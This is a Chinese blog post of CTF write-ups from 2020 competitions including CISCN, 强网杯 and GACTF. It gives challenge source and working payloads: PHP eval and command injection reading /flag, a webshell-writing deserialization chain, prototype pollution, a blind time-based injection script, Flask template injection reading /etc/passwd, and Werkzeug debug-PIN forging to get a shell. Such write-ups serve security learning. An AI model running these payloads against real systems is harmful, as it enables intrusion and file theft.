title: 20208月到9月初的wp合集
date: 2020-09-12 15:05:07
categories:
- ctf_wp
tags: - web
- misc
- ctf
- 第十三届全国大学生信息安全竞赛-创新实践能力赛
- 第四届强网杯
- GACTF
城杯
杯
- DDCTF
- WMCTF
- 其他
toc: true
第十三届全国大学生信息安全竞赛-创新实践能力赛
web
fork
<?php //题目环境:php:7.4.8-apache $pid = pcntl_fork(); if ($pid == -1) { die('could not fork'); }else if ($pid){ $r=pcntl_wait($status); // pcntl_wifexited 等待或返回fork的子进程状态 if(!pcntl_wifexited($status)){ phpinfo(); } }else{ highlight_file(__FILE__); if(isset($_GET['a'])&&is_string($_GET['a'])&&!preg_match("/[:\\\\]|exec|pcntl/i",$_GET['a'])){ call_user_func_array($_GET['a'],[$_GET['b'],false,true]); } posix_kill(posix_getpid(), SIGUSR1); } # http://eci-2ze9505q64pi1umrxpn7.cloudeci1.ichunqiu.com/?a=call_user_func&b=pcntl_wait
rceme
<?php error_reporting(0); highlight_file(__FILE__); parserIfLabel($_GET['a']); function danger_key($s) { $s=htmlspecialchars($s); $key=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','
#039;,'system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','str','source','rev','base_convert'); $s = str_ireplace($key,"*",$s); $danger=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','
#039;,'system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','str','source','rev','base_convert'); foreach ($danger as $val){ if(strpos($s,$val) !==false){ die('很抱歉,执行出错,发现危险字符【'.$val.'】'); } } if(preg_match("/^[a-z]$/i")){ die('很抱歉,执行出错,发现危险字符'); } return $s; } function parserIfLabel( $content ) { $pattern = '/\{if:([\s\S]+?)}([\s\S]*?){end\s+if}/'; if ( preg_match_all( $pattern, $content, $matches ) ) { $count = count( $matches[ 0 ] ); for ( $i = 0; $i < $count; $i++ ) { $flag = ''; $out_html = ''; $ifstr = $matches[ 1 ][ $i ]; $ifstr=danger_key($ifstr,1); if(strpos($ifstr,'=') !== false){ $arr= splits($ifstr,'='); if($arr[0]=='' || $arr[1]==''){ die('很抱歉,模板中有错误的判断,请修正【'.$ifstr.'】'); } $ifstr = str_replace( '=', '==', $ifstr ); } $ifstr = str_replace( '<>', '!=', $ifstr ); $ifstr = str_replace( 'or', '||', $ifstr ); $ifstr = str_replace( 'and', '&&', $ifstr ); $ifstr = str_replace( 'mod', '%', $ifstr ); $ifstr = str_replace( 'not', '!', $ifstr ); if ( preg_match( '/\{|}/', $ifstr)) { die('很抱歉,模板中有错误的判断,请修正'.$ifstr); }else{ @eval( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' ); } if ( preg_match( '/([\s\S]*)?\{else\}([\s\S]*)?/', $matches[ 2 ][ $i ], $matches2 ) ) { switch ( $flag ) { case 'if': if ( isset( $matches2[ 1 ] ) ) { $out_html .= $matches2[ 1 ]; } break; case 'else': if ( isset( $matches2[ 2 ] ) ) { $out_html .= $matches2[ 2 ]; } break; } } elseif ( $flag == 'if' ) { $out_html .= $matches[ 2 ][ $i ]; } $pattern2 = '/\{if([0-9]):/'; if ( preg_match( $pattern2, $out_html, $matches3 ) ) { $out_html = str_replace( '{if' . $matches3[ 1 ], '{if', $out_html ); $out_html = str_replace( '{else' . $matches3[ 1 ] . '}', '{else}', $out_html ); $out_html = str_replace( '{end if' . $matches3[ 1 ] . '}', '{end if}', $out_html ); $out_html = $this->parserIfLabel( $out_html ); } $content = str_replace( $matches[ 0 ][ $i ], $out_html, $content ); } } return $content; } function splits( $s, $str=',' ) { if ( empty( $s ) ) return array( '' ); if ( strpos( $s, $str ) !== false ) { return explode( $str, $s ); } else { return array( $s ); } } /?a={if:var_dump(('sys'.'tem')('cat /flag'))}a{end if}
littlegame
CVE-2019-10747,此题使用的是有问题的版本。
set-value 的版本比较: https://github.com/jonschlinkert/set-value/commit/95e9d9923f8a8b4a01da1ea138fcc39ec7b6b15f
POC:
var express = require('express'); const setFn = require('set-value'); var router = express.Router(); const Admin = { "password1":process.env.p1, "password2":process.env.p2, "password3":process.env.p3 } router.post("/DeveloperControlPanel", function (req, res, next) { // not implement if (req.body.key === undefined || req.body.password === undefined){ res.send("What's your problem?"); }else { let key = req.body.key.toString(); let password = req.body.password.toString(); if(Admin[key] === password){ res.send(process.env.flag); }else { res.send("Wrong password!Are you Admin?"); } } }); router.get('/SpawnPoint', function (req, res, next) { req.session.knight = { "HP": 1000, "Gold": 10, "Firepower": 10 } res.send("Let's begin!"); }); router.post("/Privilege", function (req, res, next) { // Why not ask witch for help? if(req.session.knight === undefined){ res.redirect('/SpawnPoint'); }else{ if (req.body.NewAttributeKey === undefined || req.body.NewAttributeValue === undefined) { res.send("What's your problem?"); }else { let key = req.body.NewAttributeKey.toString(); let value = req.body.NewAttributeValue.toString(); setFn(req.session.knight, key, value); res.send("Let's have a check!"); } } }); module.exports = router;
/SpawnPoint
/Privilege
{"NewAttributeKey":"__proto__.fe1w0","NewAttributeValue":"xzaslxr1"}
/DeveloperControlPanel
{"key":"fe1w0","password":"xzaslxr1"}
题外话,在Y1ng师傅博客那边又学到个新知识
npm aduit
主要做的就是把需要检查的依赖信息发送给一个官方检查接口, 该结构会在历史上报的漏洞数据库中判断当前依赖信息是否含有漏洞,然后生成一个包含包名称、漏洞严重性、简介、路径等的漏洞报告反馈给开发者。
题目源代码:http://xzaslxr.xyz/wp-content/uploads/2020/09/LittleGame_app.zip 感兴趣的老哥,可以试试
easytrick
<?php class trick{ public $trick1; public $trick2; public function __destruct(){ $this->trick1 = (string)$this->trick1; if(strlen($this->trick1) > 5 || strlen($this->trick2) > 5){ die("你太长了"); } if($this->trick1 !== $this->trick2 && md5($this->trick1) === md5($this->trick2) && $this->trick1 != $this->trick2){ echo file_get_contents("/flag"); } } } highlight_file(__FILE__); unserialize($_GET['trick']);
可以利用php 的无穷大来绕过
O:5:"trick":2:{s:6:"trick1";d:INF;s:6:"trick2";d:INF;}
论证:
此外,利用NaN
也行 from Y1ng 师傅wp
NaN “不是数字”并不意味着查看数据类型是否为数值型/文本型/等等。
NaN实际上是一组可以存储在浮点变量中的值,但实际上并不计算为一个合适的浮点数。
php > var_dump(is_nan((float)'NaN')); php shell code:1: bool(false)
babyunserialize
思路与wm2020的webweb相似,不同的是通过写webshell
而非rce。
<?php namespace DB; class Jig { protected $dir = 1, $data = array("fe1w0.php"=>array("<?php eval(\$_GET['a']);?>"=>123)), $lazy = 1; } $a=new Jig(); echo urlencode((serialize($a)));
主要利用jip.php中的函数
function write($file,array $data=NULL) { if (!$this->dir || $this->lazy) return count($this->data[$file]=$data); $fw=\Base::instance(); switch ($this->format) { case self::FORMAT_JSON: $out=json_encode($data,JSON_PRETTY_PRINT); break; case self::FORMAT_Serialized: $out=$fw->serialize($data); break; } return $fw->write($this->dir.$file,$out); } function __destruct() { if ($this->lazy) { $this->lazy = FALSE; foreach ($this->data?:[] as $file => $data) $this->write($file,$data); } }
杯
web
gamebox
<?php if(isset($_GET['c'])) { gamebox($_GET['c']); //没有get到这个是干什么用的 } else if(isset($_GET['f'])){ fileReader($_GET['f']);// 可以用来读取文件,php格式的也行 } else{ highlight_file(__FILE__); }
- 读进程信息
GET /?f=/proc/self/maps HTTP/1.1 Host: 122.112.218.163:10080 Pragma: no-cache Cache-Control: no-cache Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4231.0 Safari/537.36 Edg/86.0.615.3 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6 Connection: close HTTP/1.1 200 OK Date: Thu, 27 Aug 2020 01:35:12 GMT Server: Apache/2.4.38 (Debian) X-Powered-By: PHP/7.2.33 Vary: Accept-Encoding Content-Length: 53572 Connection: close Content-Type: text/html; charset=UTF-8 55f1df1ed000-55f1df222000 r--p 00000000 fd:01 664673 /usr/sbin/apache2 55f1df222000-55f1df26c000 r-xp 00035000 fd:01 664673 /usr/sbin/apache2 55f1df26c000-55f1df28e000 r--p 0007f000 fd:01 664673 /usr/sbin/apache2 55f1df28f000-55f1df292000 r--p 000a1000 fd:01 664673 /usr/sbin/apache2 55f1df292000-55f1df296000 rw-p 000a4000 fd:01 664673 /usr/sbin/apache2 55f1df296000-55f1df299000 rw-p 00000000 00:00 0 55f1dfbca000-55f1dfdb1000 rw-p 00000000 00:00 0 [heap] 55f1dfdb1000-55f1dfdd6000 rw-p 00000000 00:00 0 [heap] 7f40c85b0000-7f40c85b1000 r--p 00000000 fd:01 664640 /usr/lib/x86_64-linux-gnu/libicudata.so.63.1 7f40c85b1000-7f40c85b2000 r-xp 00001000 fd:01 664640 /usr/lib/x86_64-linux-gnu/libicudata.so.63.1 7f40c85b2000-7f40c9f9e000 r--p 00002000 fd:01 664640 /usr/lib/x86_64-linux-gnu/libicudata.so.63.1 7f40c9f9e000-7f40c9f9f000 r--p 019ed000 fd:01 664640 /usr/lib/x86_64-linux-gnu/libicudata.so.63.1 7f40c9f9f000-7f40c9fa0000 rw-p 019ee000 fd:01 664640 /usr/lib/x86_64-linux-gnu/libicudata.so.63.1 7f40c9fa0000-7f40c9fc7000 rw-p 00000000 00:00 0 7f40c9fc7000-7f40c9fca000 r--p 00000000 fd:01 529216 /lib/x86_64-linux-gnu/libnss_files-2.28.so 7f40c9fca000-7f40c9fd1000 r-xp 00003000 fd:01 529216 /lib/x86_64-linux-gnu/libnss_files-2.28.so 7f40c9fd1000-7f40c9fd3000 r--p 0000a000 fd:01 529216 /lib/x86_64-linux-gnu/libnss_files-2.28.so 7f40c9fd3000-7f40c9fd4000 ---p 0000c000 fd:01 529216 /lib/x86_64-linux-gnu/libnss_files-2.28.so 7f40c9fd4000-7f40c9fd5000 r--p 0000c000 fd:01 529216 /lib/x86_64-linux-gnu/libnss_files-2.28.so 7f40c9fd5000-7f40c9fd6000 rw-p 0000d000 fd:01 529216 /lib/x86_64-linux-gnu/libnss_files-2.28.so 7f40c9fd6000-7f40ca00c000 rw-p 00000000 00:00 0 7f40ca014000-7f40ca016000 rw-p 00000000 00:00 0 7f40ca907000-7f40ca90a000 r--p 00000000 fd:01 529194 /lib/x86_64-linux-gnu/libgcc_s.so.1 7f40ca90a000-7f40ca91b000 r-xp 00003000 fd:01 529194 /lib/x86_64-linux-gnu/libgcc_s.so.1 7f40ca91b000-7f40ca91e000 r--p 00014000 fd:01 529194 /lib/x86_64-linux-gnu/libgcc_s.so.1 7f40ca91e000-7f40ca91f000 ---p 00017000 fd:01 529194 /lib/x86_64-linux-gnu/libgcc_s.so.1 7f40ca91f000-7f40ca920000 r--p 00017000 fd:01 529194 /lib/x86_64-linux-gnu/libgcc_s.so.1 7f40ca920000-7f40ca921000 rw-p 00018000 fd:01 529194 /lib/x86_64-linux-gnu/libgcc_s.so.1 7f40ca921000-7f40ca9aa000 r--p 00000000 fd:01 529944 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.25 7f40ca9aa000-7f40caa56000 r-xp 00089000 fd:01 529944 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.25 7f40caa56000-7f40caa94000 r--p 00135000 fd:01 529944 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.25 7f40caa94000-7f40caa95000 ---p 00173000 fd:01 529944 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.25 7f40caa95000-7f40caa9f000 r--p 00173000 fd:01 529944 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.25 7f40caa9f000-7f40caaa1000 rw-p 0017d000 fd:01 529944 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.25 7f40caaa1000-7f40caaa5000 rw-p 00000000 00:00 0 7f40cb5fb000-7f40cb5fe000 r-xp 00000000 fd:01 787516 /usr/local/lib/php/extensions/no-debug-non-zts-20170718/FileReader.so 7f40cb5fe000-7f40cb7fe000 ---p 00003000 fd:01 787516 /usr/local/lib/php/extensions/no-debug-non-zts-20170718/FileReader.so 7f40cb7fe000-7f40cb7ff000 r--p 00003000 fd:01 787516 /usr/local/lib/php/extensions/no-debug-non-zts-20170718/FileReader.so 7f40cb7ff000-7f40cb800000 rw-p 00004000 fd:01 787516 /usr/local/lib/php/extensions/no-debug-non-zts-20170718/FileReader.so
- FileReader.so 下载
curl.exe http://122.112.218.163:10080/?f=/usr/local/lib/php/extensions/no-debug-non-zts-20170718/FileReader.so --output D:1.so
当你IDA启动时,会发现这是道webpwn
- gamebox
__int64 __fastcall zif_gamebox(__int64 a1) { signed int v1; // edx@4 int v2; // esi@6 char *v3; // rax@6 __int64 v4; // rcx@6 const void *v6; // [sp+0h] [bp-E78h]@1 __int64 v7; // [sp+8h] [bp-E70h]@1 int v8[256]; // [sp+10h] [bp-E68h]@4 __int64 v9[256]; // [sp+410h] [bp-A68h]@4 char v10[511]; // [sp+C10h] [bp-268h]@1 char v11; // [sp+E0Fh] [bp-69h]@4 __int64 v12; // [sp+E58h] [bp-20h]@1 v6 = 0LL; v12 = *MK_FP(__FS__, 40LL); memset(v10, 0, 0x240uLL); if ( zend_parse_parameters(*(_DWORD *)(a1 + 44), (__int64)"s", (__int64)&v6, (__int64)&v7) != -1 ) { if ( (unsigned __int64)v7 > 0x200 ) qmemcpy(v10, v6, 0x200uLL); else __memcpy_chk((__int64)v10, (__int64)v6, v7, 576LL); v11 = 0; v1 = 0; qmemcpy(v8, &unk_2900, sizeof(v8)); qmemcpy(v9, &off_2040A0, sizeof(v9)); while ( 1 ) { v2 = v1 + 1; v3 = &v10[v1]; v4 = *v3; if ( (_BYTE)v4 == 44 ) { v1 += 2; *v3 = 5; if ( v1 > 511 ) LABEL_8: JUMPOUT(__CS__, v9[v10[0]]); } else { *v3 = v8[v4]; ++v1; if ( v2 > 511 ) goto LABEL_8; } } } return *MK_FP(__FS__, 40LL) ^ v12; }
- fileReader
__int64 __fastcall zif_fileReader(__int64 a1) { __int64 v1; // rdi@1 char *v2; // r8@2 const char *v3; // rsi@4 FILE *v4; // rbx@4 char *v6; // rax@10 __int64 v7; // [sp+0h] [bp-B8h]@1 __int64 v8; // [sp+8h] [bp-B0h]@1 char filename[16]; // [sp+10h] [bp-A8h]@2 __m128i v10; // [sp+20h] [bp-98h]@3 __m128i v11; // [sp+30h] [bp-88h]@3 __m128i v12; // [sp+40h] [bp-78h]@3 __m128i v13; // [sp+50h] [bp-68h]@3 __m128i v14; // [sp+60h] [bp-58h]@3 __m128i v15; // [sp+70h] [bp-48h]@3 __m128i v16; // [sp+80h] [bp-38h]@3 __int64 v17; // [sp+98h] [bp-20h]@1 v1 = *(_DWORD *)(a1 + 44); v17 = *MK_FP(__FS__, 40LL); v7 = 0LL; if ( zend_parse_parameters(v1, (__int64)"s", (__int64)&v7, (__int64)&v8) != -1 ) { v2 = filename; memset(filename, 0, 0x80uLL); if ( (unsigned __int64)v8 <= 0x80 ) { LODWORD(v6) = __memcpy_chk((__int64)filename, v7, v8, 128LL); v2 = v6; } else { *(__m128i *)filename = _mm_loadu_si128((const __m128i *)v7); v10 = _mm_loadu_si128((const __m128i *)(v7 + 16)); v11 = _mm_loadu_si128((const __m128i *)(v7 + 32)); v12 = _mm_loadu_si128((const __m128i *)(v7 + 48)); v13 = _mm_loadu_si128((const __m128i *)(v7 + 64)); v14 = _mm_loadu_si128((const __m128i *)(v7 + 80)); v15 = _mm_loadu_si128((const __m128i *)(v7 + 96)); v16 = _mm_loadu_si128((const __m128i *)(v7 + 112)); } v3 = "rb"; v4 = fopen(v2, "rb"); if ( v4 ) { while ( !feof(v4) ) { v3 = (const char *)(unsigned int)(char)fgetc(v4); php_printf((__int64)"%c", (__int64)v3); } php_printf((__int64)"\n", (__int64)v3); } else { php_printf((__int64)"Failed~", (__int64)"rb"); } } return *MK_FP(__FS__, 40LL) ^ v17; }
easyseed
http://122.112.252.28:20001/index.bak
PHP/5.6.28
*************************** ************************* ************************* ************************* ************************* ************************* ************************* ************************* ************************* $lock = random(6, 'abcdefghigklmnopqrstuvwxyzABCDEFGHIGKLMNOPQRSTUVWXYZ'); $key = random(16, '1294567890abcdefghigklmnopqrstuvwxyzABCDEFGHIGKLMNOPQRSTUVWXYZ'); ************************* ************************* ************************* ************************* ************************* ************************* ************************* ************************* function random($length, $chars = '0123456789ABC') { $hash = ''; $max = strlen($chars) - 1; for($i = 0; $i < $length; $i++) { $hash .= $chars[mt_rand(0, $max)]; //mt_rand() 使用 Mersenne Twister 算法返回随机整数。 } return $hash; } ************************* ************************* ************************* ************************* ************************* ************************* ************************* *************************
参考:
- payload
$str = "vEUHaY"; $randStr = "abcdefghigklmnopqrstuvwxyzABCDEFGHIGKLMNOPQRSTUVWXYZ"; for($i=0;$i<strlen($str);$i++){ $pos = strpos($randStr,$str[$i]); echo $pos." ".$pos." "."0 ".(strlen($randStr)-1)." "; //整理成方便 php_mt_seed 测试的格式 //php_mt_seed VALUE_OR_MATCH_MIN [MATCH_MAX [RANGE_MIN RANGE_MAX]] //21 21 0 51 30 30 0 51 46 46 0 51 33 33 0 51 0 0 0 51 50 50 0 51 }
- seed
root@iZwz951ls2mad25iuv9mtjZ:~/php_mt_seed-4.0# ./php_mt_seed `php 1.php` Pattern: EXACT-FROM-52 EXACT-FROM-52 EXACT-FROM-52 EXACT-FROM-52 EXACT-FROM-52 EXACT-FROM-52 Version: 3.0.7 to 5.2.0 Found 0, trying 0xe0000000 - 0xffffffff, speed 120.3 Mseeds/s Version: 5.2.1+ Found 0, trying 0x00000000 - 0x0fffffff, speed 0.0 Mseeds/s seed = 0x000af591 = 718225 (PHP 5.2.1 to 7.0.x; HHVM) Found 1, trying 0xe0000000 - 0xefffffff, speed 14.8 Mseeds/s seed = 0xeed97ca5 = 4007230629 (PHP 5.2.1 to 7.0.x; HHVM) Found 2, trying 0xf0000000 - 0xffffffff, speed 14.8 Mseeds/s Found 2
注意要使用php5.6
- payload
$seed = 718225; mt_srand($seed); function random($length, $chars = '') { $hash = ''; $max = strlen($chars) - 1; for($i = 0; $i < $length; $i++) { $hash .= $chars[mt_rand(0, $max)]; //mt_rand() 使用 Mersenne Twister 算法返回随机整数。 } return $hash; } $lock = random(6, 'abcdefghigklmnopqrstuvwxyzABCDEFGHIGKLMNOPQRSTUVWXYZ'); $key = random(16, '1294567890abcdefghigklmnopqrstuvwxyzABCDEFGHIGKLMNOPQRSTUVWXYZ'); //string(6) "vEUHaY" //string(16) "nRtqGR8mtd9ZOPyI" var_dump($lock,$key);
GET /index.php HTTP/1.1 Host: 122.112.252.28:20001 Pragma: no-cache Cache-Control: no-cache Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4231.0 Safari/537.36 Edg/86.0.615.3 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6 Cookie: key=nRtqGR8mtd9ZOPyI; lock=vEUHaY X-Forwarded-For: 127.0.0.1 Connection: close HTTP/1.1 200 OK Date: Thu, 27 Aug 2020 07:30:44 GMT Server: Apache/2.4.23 (Unix) X-Powered-By: PHP/5.6.28 Set-Cookie: lock=vEUHaY Set-Cookie: key=Infer+the+key+from+the+lock Content-Length: 155 Connection: close Content-Type: text/html; charset=UTF-8 <h1 align="center">é¥åå¼éçæ¸¸æ!!!</h1><img src="1.jpeg" style="margin-left:38%"/><script>alert('flag{6e5b51029a9a9ccd6d6b0f9a1a58c494}')</script>
easyweb
import requests import re flag_format = re.compile('flag\\{[0-9a-z]{8}-[0-9a-z]{4}-[0-9a-z]{4}-[0-9a-z]{4}-[0-9a-z]{12}\\}') all_letter = '-}0123456789abcdefghijklmnopqrstuvwxyz' def get_flag(command): try: r = requests.post('http://119.3.37.185/', data={'cmd': command}, timeout=1.5) except: return True return False if __name__ == '__main__': flag = 'flag{' while flag_format.match(flag) == None: staus = 0 for i in all_letter: payload = 'cat /flag* | grep %s && sleep 1.8' % (flag + i) print(payload) if get_flag(payload): staus = 1 flag += i print(flag) break if staus == 0: flag = flag[0:-1]
from
第四届强网杯
强网先锋
web辅助
源代码:http://112.126.59.156:8080/s/QmfSGNA2JZ7CmK2/download
原题:https://ama666.cn/2020/06/25/DASCTF-6%E6%9C%88%E8%B5%9B%E6%80%BB%E7%BB%93/
payload:
?username=\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0&password="";S:7:"\0*\0pass";O:7:"topsolo":1:{S:7:"\0*\0\6eame";O:7:"midsolo":2:{S:7:"\0*\0\6eame";O:6:"jungle":1:{S:7:"\0*\0\6eame";s:5:"fe1w0";}}};s:8:"\0*\0admin";i:1;}
__wakeup
绕过 以及S
支持16进制编码就行
主动
<?php highlight_file("index.php"); if(preg_match("/flag/i", $_GET["ip"])) { die("no flag"); } system("ping -c 3 $_GET[ip]"); ?>
- payload
http://39.96.23.228:10002/?ip=|cat f***| base64
Funhash
<?php include 'conn.php'; highlight_file("index.php"); //level 1 if ($_GET["hash1"] != hash("md4", $_GET["hash1"])) { die('level 1 failed'); } // 即 $_GET["hash1"] == hash("md4", $_GET["hash1"]) //level 2 if($_GET['hash2'] === $_GET['hash3'] || md5($_GET['hash2']) !== md5($_GET['hash3'])) { die('level 2 failed'); } //level 3 $query = "SELECT * FROM flag WHERE password = '" . md5($_GET["hash4"],true) . "'"; $result = $mysqli->query($query); $row = $result->fetch_assoc(); var_dump($row); $result->free(); $mysqli->close(); ?>
http://39.101.177.96/?hash1=0e251288019&hash2[]=1&hash3[]=2&hash4=ffifdyop
upload
密码123456
fe1w0@fe1w0:~$ steghide extract -sf 1.jpg Enter passphrase: the file "flag.txt" does already exist. overwrite ? (y/n) steghide: did not write to file "flag.txt".
GACTF
web
simpleflask
PS C:\WINDOWS\System32> curl.exe -X POST http://124.70.153.63:80 -d 'name={{1-1}}' <h1>hello 0!<h1>
- id
name={{().__class__.__bases__[0].__subclasses__()[127].__init__.__globals__.__builtins__["open"]("/etc/machine-id").read()}} hello a8eb6cac33e701ae867269db5ce80e7f !
name={{().__class__.__bases__[0].__subclasses__()[127].__init__.__globals__.__builtins__["open"]("/proc/self/cgroup").read()}}
hello 11:devices:/docker/62e0150f561bf7328b25f2d50a74e356214194f8e92617818bf90a7b08337c8f 10:blkio:/docker/62e0150f561bf7328b25f2d50a74e356214194f8e92617818bf90a7b08337c8f 9:cpuset:/docker/62e0150f561bf7328b25f2d50a74e356214194f8e92617818bf90a7b08337c8f 8:freezer:/docker/62e0150f561bf7328b25f2d50a74e356214194f8e92617818bf90a7b08337c8f 7:pids:/docker/62e0150f561bf7328b25f2d50a74e356214194f8e92617818bf90a7b08337c8f 6:hugetlb:/docker/62e0150f561bf7328b25f2d50a74e356214194f8e92617818bf90a7b08337c8f 5:net_prio,net_cls:/docker/62e0150f561bf7328b25f2d50a74e356214194f8e92617818bf90a7b08337c8f 4:perf_event:/docker/62e0150f561bf7328b25f2d50a74e356214194f8e92617818bf90a7b08337c8f 3:memory:/docker/62e0150f561bf7328b25f2d50a74e356214194f8e92617818bf90a7b08337c8f 2:cpuacct,cpu:/docker/62e0150f561bf7328b25f2d50a74e356214194f8e92617818bf90a7b08337c8f 1:name=systemd:/docker/62e0150f561bf7328b25f2d50a74e356214194f8e92617818bf90a7b08337c8f !
/usr/local/lib/python3.6/dist-packages/werkzeug/debug/__init__.py
48-76
行
def get_machine_id(): global _machine_id if _machine_id is not None: return _machine_id def _generate(): linux = b"" # machine-id is stable across boots, boot_id is not. for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id": try: with open(filename, "rb") as f: value = f.readline().strip() except IOError: continue if value: linux += value break # Containers share the same machine id, add some cgroup # information. This is used outside containers too but should be # relatively stable across boots. try: with open("/proc/self/cgroup", "rb") as f: linux += f.readline().strip().rpartition(b"/")[2] except IOError: pass
注意此题和[GYCTF2020]FlaskApp的主要区别在于/etc/machine-id
存在,其他一样
linux = get(/etc/machine-id) + get(/proc/self/cgroup)
- MAC
注意MAC值是会变化的
name={{().__class__.__bases__[0].__subclasses__()[127].__init__.__globals__.__builtins__["open"]("/sys/class/net/eth0/address").read()}}
hello 02:42:ac:14:00:07 ! >>> print(int('0242ac140007',16)) 2485378088967
- username
name={{().__class__.__bases__[0].__subclasses__()[127].__init__.__globals__.__builtins__["open"]("/etc/passwd").read()}}
hello root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin messagebus:x:101:101::/nonexistent:/usr/sbin/nologin !
name={{().__class__.__bases__[0].__subclasses__()[127].__init__.__globals__["geteuid"]()}} hello 0!
变量名 | 变量值 |
---|---|
当前计算机用户名 | root |
modname | flask.app |
getattr(app, “__name“, app.__class.__name__) | Flask |
str(uuid.getnode()) | a8eb6cac33e701ae867269db5ce80e7f62e0150f561bf7328b25f2d50a74e356214194f8e92617818bf90a7b08337c8f |
get_machine_id() | 2485378088970 |
绝对路径 | /usr/local/lib/python3.7/dist-packages/flask/app.py |
- PIN – payload:
import hashlib from itertools import chain probably_public_bits = [ 'root', 'flask.app', 'Flask', '/usr/local/lib/python3.7/dist-packages/flask/app.py', ] private_bits = [ '2485378088968', 'a8eb6cac33e701ae867269db5ce80e7f62e0150f561bf7328b25f2d50a74e356214194f8e92617818bf90a7b08337c8f' ] h = hashlib.md5() for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance(bit, str): bit = bit.encode('utf-8') h.update(bit) h.update(b'cookiesalt') cookie_name = '__wzd' + h.hexdigest()[:20] num = None if num is None: h.update(b'pinsalt') num = ('%09d' % int(h.hexdigest(), 16))[:9] rv =None if rv is None: for group_size in 5, 4, 3: if len(num) % group_size == 0: rv = '-'.join(num[x:x + group_size].rjust(group_size, '0') for x in range(0, len(num), group_size)) break else: rv = num print(rv)
- shell
>>> import os >>> os.popen('ls /').read() 'bin\nboot\ndev\netc\nflag\nhome\nlib\nlib64\nmedia\nmnt\nopt\nproc\nroot\nrun\nsbin\nsrv\nsys\ntmp\nusr\nvar\n' >>> os.popen('cat /flag').read() 'GACTF{fac9165b6a2b5ac8bd3b99fad0619366}\n'
另一种 payload:
name={{[].__class__.__base__.__subclasses__()[127].__init__.__globals__.__builtins__["open"]("fla".join("/g")).read()}}
EZFLASK
伪源代码
# -*- coding: utf-8 -*- from flask import Flask, request import requests from waf import * import time app = Flask(__name__) @app.route('/ctfhint') def ctf(): hint =xxxx # hints trick = xxxx # trick return trick @app.route('/') def index(): # app.txt @app.route('/eval', methods=["POST"]) def my_eval(): # post eval @app.route(xxxxxx, methods=["POST"]) # Secret def admin(): # admin requests if __name__ == '__main__': app.run(host='0.0.0.0',port=8080)
PS C:\WINDOWS\System32> curl.exe -X POST http://149.28.226.175:10000/eval -d 'eval=ctf.__globals__' {'my_eval': <function my_eval at 0x7ff4f6b29dd0>, 'app': <Flask 'app_1'>, 'waf_eval': <function waf_eval at 0x7ff4f6b29c50>, 'admin': <function admin at 0x7ff4f6a73650>, 'index': <function index at 0x7ff4f6b29d50>, 'waf_ip': <function waf_ip at 0x7ff4f6b29b50>, '__builtins__': <module '__builtin__' (built-in)>, 'admin_route': '/h4rdt0f1nd_9792uagcaca00qjaf', '__file__': 'app_1.py', 'request': <Request 'http://149.28.226.175:10000/eval' [POST]>, '__package__': None, 'Flask': <class 'flask.app.Flask'>, 'ctf': <function ctf at 0x7ff4f6b29cd0>, 'waf_path': <function waf_path at 0x7ff4f6b29bd0>, 'time': <module 'time' from '/usr/local/lib/python2.7/lib-dynload/time.so'>, '__name__': '__main__', 'requests': <module 'requests' from '/usr/local/lib/python2.7/site-packages/requests/__init__.pyc'>, '__doc__': None}
/h4rdt0f1nd_9792uagcaca00qjaf
curl.exe -X POST http://149.28.226.175:10000/h4rdt0f1nd_9792uagcaca00qjaf -d 'ip=127.1.1.1&port=5000&path=' from xxxx import flag app = flask.Flask(__name__) app.config['FLAG'] = flag @app.route('/') def index(): return open('app.txt').read() @app.route('/<path:hack>') def hack(hack): return flask.render_template_string(hack) if __name__ == '__main__': app.run(host='0.0.0.0',port=5000)
payload:
